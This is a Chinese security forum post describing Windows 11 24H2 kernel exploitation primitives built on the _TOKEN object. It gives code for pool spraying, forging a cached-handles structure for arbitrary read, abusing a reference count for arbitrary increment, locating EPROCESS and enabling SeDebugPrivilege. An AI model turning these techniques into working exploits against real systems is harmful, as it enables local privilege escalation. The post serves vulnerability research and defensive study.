-
-
[原创]Windows 内核token原语浅谈
-
发表于: 2025-7-17 20:34 542
-
前言
在windows内核提权中,经常用到各种结构,称为“原语”,这些“原语”常见的包括wnf、Io Ring、Token等,利用这些原语可以实现读、写、递增、递减等操作,帮助攻击者实现权限提升。本文介绍的TOKEN原语包括任意地址读“原语”和任意地址递增“原语”,适用于Paged Pool。经测试,在win1124h2上可以成功开启SeDebugPrivilege权限。
1 相关API
OpenProcessToken:打开进程token
DuplicateTokenEx: 池喷的关键函数,内核中申请Token结构,最终我们要利用这个结构的原语来提权。
DuplicateToken:复制token,递增“原语”需要用到。
GetTokenInformation:查询token信息
NtQueryInformationToken:GetTokenInformation的native api,功能同GetTokenInformation相似。
2 认识Token结构
DuplicateTokenEx经过层层调用,最终会调用ExAllocatePoolWithTag申请内存
Win11 24h2上调用序列如下:
1 2 3 4 5 6 | DuplicateTokenExnt!KiSystemServiceCopyEnd+0x25 nt!NtDuplicateToken+0x1cent!SepDuplicateToken+0x215 nt!ObpAllocateObject+0x19cExAllocatePoolWithTag |

从图中可以看出,池内存tag 为 “Toke” , 连pool头算在内大小为0x700,pool头偏移0x60 处以“User32”开头的地址才是真正token的指针,熟悉windows提权的朋友应该清楚,此处不再赘述。
3 定位
如何确定是自己创建的_TOKEN结构以及获得可操作的Handle?
进行池喷射的时候,可以通过GetTokenInformation获取到TokenId和句柄,可以将这些值保存。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | for (auto& toke : theTokeVec){ // Allocates a _TOKEN object in kernel pool status = DuplicateTokenEx(hOriginal, MAXIMUM_ALLOWED, NULL, (SECURITY_IMPERSONATION_LEVEL)SECURITY_ANONYMOUS, TokenPrimary, &toke.hToke); if (!status) { printf("[-] DuplicateTokenEx fail: 0x%08x\n", GetLastError()); status = FALSE; } status = GetTokenInformation(toke.hToke, TokenStatistics, &stats, sizeof(TOKEN_STATISTICS), &returnLen); if (!status) { printf("[-] GetTokenInformation fail: 0x%08x\n", GetLastError()); status = FALSE; } toke.tokeId = stats.TokenId.LowPart; // High part is always 0} |
_TOKEN偏移0x10处是TokenId,读取这个值,与之前保存的值进行比对,确定是自己创建的_TOKEN并得到句柄,这个句柄实现读原语和递增原语的时候需要用到。
4 任意读原语
Token任意读和递增“原语”可以参考这篇文章013K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2N6X3#2U0j5h3I4D9i4K6u0W2K9h3!0Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4g2)9J5k6o6l9@1i4K6u0V1x3o6g2Q4x3X3c8H3L8%4u0@1K9h3&6Y4i4K6u0V1N6r3!0Q4x3X3b7J5y4p5R3J5i4K6u0r3i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1^5i4@1u0r3i4K6V1^5i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1#2i4K6S2r3i4K6R3J5i4@1f1^5i4K6R3H3i4K6R3K6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9r3g2J5k6h3W2K6K9K6m8K6K9r3I4Q4x3X3g2@1L8%4m8Q4x3V1k6H3L8%4y4@1i4K6u0r3j5Y4u0W2j5h3E0Q4x3X3c8E0k6g2)9J5k6r3!0#2N6q4)9J5k6r3!0X3i4K6u0V1M7$3q4F1k6r3u0G2P5q4)9J5k6r3W2F1i4K6u0V1L8$3I4V1i4K6u0V1M7r3W2H3k6g2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0u0Q4x3X3b7J5x3U0M7I4y4g2)9J5k6s2N6A6L8X3c8G2N6%4y4Q4x3X3c8V1K9i4u0@1P5g2)9J5k6s2m8A6M7r3g2Q4c8e0y4Q4z5o6m8Q4z5o6t1`.
用dt _token 命令可以查看_token结构,在0x480 偏移处是BnoIsolationHandlesEntry项,结构体为 _SEP_CACHED_HANDLES_ENTRY,读者可以通过IDA打开ntoskrnl.exe查看,这里直接贴出自己整理的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | enum _SEP_CACHED_HANDLES_ENTRY_TYPE : __int32{ // XREF: _SEP_CACHED_HANDLES_ENTRY_DESCRIPTOR/r SepCachedHandlesEntryLowbox = 0x0, SepCachedHandlesEntryBnoIsolation = 0x1, };//struct _SEP_CACHED_HANDLES_ENTRY_DESCRIPTOR // sizeof=0x18 (24字节){ // XREF: _SEP_CACHED_HANDLES_ENTRY/r _SEP_CACHED_HANDLES_ENTRY_TYPE DescriptorType; //4字节 char pad[4]; _UNICODE_STRING IsolationPrefix; //16字节};typedef struct _SEP_CACHED_HANDLES_ENTRY // sizeof=0x48 (72字节) { BYTE HashEntry[0x18];//_RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry;//24字节 __int64 ReferenceCount;//8字节 _SEP_CACHED_HANDLES_ENTRY_DESCRIPTOR EntryDescriptor;//24字节 unsigned int HandleCount;//4字节 char pad[8]; //8字节 void** Handles; //4 字节 }SEP_CACHED_HANDLES_ENTRY,*PSEP_CACHED_HANDLES_ENTRY; |
可以通过伪造_SEP_CACHED_HANDLES_ENTRY结构实现任意读
1 2 3 4 5 6 7 | //伪造_SEP_CACHED_HANDLES_ENTRY 结构PSEP_CACHED_HANDLES_ENTRY psche = (PSEP_CACHED_HANDLES_ENTRY)malloc(sizeof(_SEP_CACHED_HANDLES_ENTRY));memset(psche, 0, sizeof(SEP_CACHED_HANDLES_ENTRY));//psche->EntryDescriptor.IsolationPrefix.MaximumLength = 0x8; //读8个字节psche->EntryDescriptor.IsolationPrefix.Buffer = (PWSTR)addr; // 读的地址 |
这里假设已经可以随意修改_token 结构,利用漏洞修改BnoIsolationHandlesEntry为我们伪造的_SEP_CACHED_HANDLES_ENTRY结构,调用NtQueryInformationToken即可实现任意地址读。
1 2 3 4 5 6 7 8 9 | //调用NtQueryInformationToken读取数据ULONG RecvBufferSize = 0x20; //必须大于0x10+EntryDescriptor.IsolationPrefix.MaximumLengthbyte RecvBuffer[0x20] = { 0 };NTSTATUS Status = fNtQueryInformationToken( TokenHandle, TokenBnoIsolation, &RecvBuffer, RecvBufferSize, &RecvBufferSize); |
示意图如下:

5 任意递增原语
SEP_CACHED_HANDLES_ENTRY中偏移0x18 处是ReferenceCount,当调用DuplicateToken时,ReferenceCount会加1,且只有这个地方会被修改。但有一个前提条件
_TOKEN->BnoIsolationHandlesEntry.ReferenceCount 不等于0,且小于0x7ffffffffffffffff。
这样看来,想要在哪个地址实现递增,只需要把BnoIsolationHandlesEntry指针修改为该地址减去0x18 就可以了。
6 寻找Eprocess
有了任意读和任意递增原语,还不能实现提权,因为我们没有泄露内核地址,无法定位当前进程的token指针,token指针在Eprocess固定偏移处,所以可以通过Eprocess指针来定位。
这篇文章提到了如何通过_TOKEN结构来寻找Eprocess指针
a83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4J5L8r3q4T1M7#2)9J5k6i4y4Y4i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3U0y4Q4x3V1j5I4x3g2)9J5k6r3g2^5M7r3I4G2K9i4c8S2N6r3W2G2L8W2)9J5k6r3!0X3i4K6u0V1j5g2)9J5k6r3E0W2M7X3&6W2L8q4)9J5k6s2m8G2L8$3I4Q4x3X3c8G2N6X3g2J5k6X3I4G2N6#2)9J5k6r3k6J5L8$3#2Q4x3X3c8S2i4K6u0V1M7X3g2K6N6s2u0A6j5%4c8A6N6X3g2Q4x3X3c8U0K9s2g2F1K9#2)9J5k6s2y4A6P5X3g2Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6t1I4i4K6u0V1x3K6p5&6y4U0W2Q4x3V1k6Q4x3U0y4Z5N6h3&6@1K9h3&6Y4i4K6u0V1k6i4m8J5L8$3y4W2M7%4x3`.
总结如下:
1)Token结构中包含SessionObject,搜索SessionObject附近内存,找到”AlIn”块。
2)AlIn偏移0x38(包含pool头0x10)是IoCompletion 对象的指针。
3)在IoCompletion 指针附近搜索EtwR块。
4)EtwR块0x30(包含头)处是一个ERPOCESS指针
读者可以自行探索,不是100%成功,有时候找不到”AlIn”块。
7 提权
得到任意一个EPROCESS指针即可通过遍历找到当前进程的EPROCESS指针,进一步找到当前进程的_TOKEN结构指针,利用递增“原语”,开启SeDebugPrivilege权限。
如何确定开启权限递增的位置?这篇文章提到了详细的计算方法
f2aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2N6X3#2U0j5h3I4D9i4K6u0W2K9h3!0Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4g2)9J5k6o6l9@1i4K6u0V1x3o6g2Q4x3X3c8H3L8%4u0@1K9h3&6Y4i4K6u0V1N6r3!0Q4x3X3b7J5y4p5R3J5i4K6u0r3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | typedef enum _PRIVS{ unk = 0x0, unk2 = 0x1, SeCreateTokenPrivilege = 0x2, SeAssignPrimaryTokenPrivilege = 0x3, SeLockMemoryPrivilege = 0x4, SeIncreaseQuotaPrivilege = 0x5, SeUnsolicitedInputPrivilege = 0x6, SeTcbPrivilege = 0x7, SeSecurityPrivilege = 0x8, SeTakeOwnershipPrivilege = 0x9, SeLoadDriverPrivilege = 0xa, SeSystemProfilePrivilege = 0xb, SeSystemtimePrivilege = 0xc, SeProfileSingleProcessPrivilege = 0xd, SeIncreaseBasePriorityPrivilege = 0xe, SeCreatePagefilePrivilege = 0xf, SeCreatePermanentPrivilege = 0x10, SeBackupPrivilege = 0x11, SeRestorePrivilege = 0x12, SeShutdownPrivilege = 0x13, SeDebugPrivilege = 0x14, SeAuditPrivilege = 0x15, SeSystemEnvironmentPrivilege = 0x16, SeChangeNotifyPrivilege = 0x17, SeRemoteShutdownPrivilege = 0x18, SeUndockPrivilege = 0x19, SeSyncAgentPrivilege = 0x1a, SeEnableDelegationPrivilege = 0x1b, SeManageVolumePrivilege = 0x1c, SeImpersonatePrivilege = 0x1d, SeCreateGlobalPrivilege = 0x1e, SeTrustedCredManAccessPrivilege = 0x1f, SeRelabelPrivilege = 0x20, SeIncreaseWorkingSetPrivilege = 0x21, SeTimeZonePrivilege = 0x22, SeCreateSymbolicLinkPrivilege = 0x23, SeDelegateSessionUserImpersonatePrivilege = 0x24} PRIV;typedef struct _PrivOffsets { uint16_t amount; uint16_t offset; } PrivOffsets;consteval PrivOffsets CalcPrivIncrement(PRIV priv) { PrivOffsets offset = { 0 }; offset.offset = priv / 8; offset.amount = 1 << ((priv & 0x7)); return offset;} |
直接把原文扒下来,懒得翻译了

最后结果如下:
